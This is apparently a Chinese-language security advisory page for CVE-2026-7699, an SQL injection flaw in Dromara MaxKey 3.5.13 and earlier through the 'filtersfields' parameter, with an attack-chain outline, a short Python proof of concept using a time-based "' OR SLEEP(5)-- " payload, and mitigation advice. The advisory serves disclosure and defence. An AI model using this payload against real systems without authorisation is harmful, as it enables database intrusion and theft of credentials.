IPBUF安全漏洞报告
English
CVE-2026-7699 CVSS 6.3 中危

CVE-2026-7699 Dromara MaxKey SQL注入漏洞

披露日期: 2026-05-03

漏洞信息

漏洞编号
CVE-2026-7699
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dromara MaxKey

相关标签

SQL注入Dromara MaxKeyCVE-2026-7699Web安全身份认证绕过

漏洞概述

Dromara MaxKey 是一个开源的身份认证与访问管理平台。在 3.5.13 及之前的版本中,系统存在一个严重的安全缺陷。具体问题出在 `StrUtils.java` 文件的 `StrUtils.checkSqlInjection` 函数中。攻击者可以通过精心构造的 `filtersfields` 参数绕过安全检查,触发 SQL 注入漏洞。由于该漏洞允许远程攻击且利用代码已公开,对使用该版本 MaxKey 的系统构成中等风险,可能导致数据泄露或篡改。

技术细节

该漏洞的根源在于 Dromara MaxKey 的 `StrUtils.java` 文件中 `checkSqlInjection` 方法未能正确过滤用户输入。尽管方法旨在检查 SQL 注入,但在处理 `filtersfields` 参数时存在逻辑缺陷。攻击者可以在 HTTP 请求中注入恶意的 SQL 语句,利用该参数传递特殊构造的字符串。由于 CVSS 向量显示 PR:L(低权限),低权限用户即可发起攻击。一旦利用成功,攻击者可以在数据库后端执行任意 SQL 命令,从而窃取敏感信息(如用户凭证)、篡改数据或破坏数据库完整性。目前公开的 POC 显示了通过特定参数组合触发报错或盲注的方式,且 Metasploit 框架已收录相关利用模块,增加了利用的便捷性。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统为 Dromara MaxKey,并确认版本在 3.5.13 或更低。
STEP 2
2. 获取权限
由于 CVSS PR:L,攻击者注册或获取一个低权限账户。
STEP 3
3. 漏洞利用
攻击者向存在漏洞的接口发送包含恶意 SQL 语句的 `filtersfields` 参数。
STEP 4
4. 执行注入
后端数据库解析恶意参数,执行非预期的 SQL 命令(如读取数据、写入数据)。
STEP 5
5. 达成目标
根据注入内容,获取敏感数据、提升权限或破坏系统完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Dromara MaxKey SQL Injection (CVE-2026-7699) # Description: PoC for SQL Injection via 'filtersfields' parameter target_url = "http://target-maxkey-endpoint/api/endpoint" session = requests.Session() # Payload to test SQL Injection (Time-based) payload = "' OR SLEEP(5)-- " # Data containing the vulnerable parameter data = { "filtersfields": payload, "other_param": "value" } try: response = session.post(target_url, data=data) if response.elapsed.total_seconds() > 5: print("[+] Vulnerable to SQL Injection!") else: print("[-] Not vulnerable or payload failed.") except Exception as e: print(f"[Error] {e}")

影响范围

Dromara MaxKey <= 3.5.13

防御指南

临时缓解措施
在无法立即升级的情况下,建议通过 WAF 规则拦截对 `filtersfields` 参数的异常请求,并严格限制数据库账户的访问权限,避免使用高权限账户连接数据库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表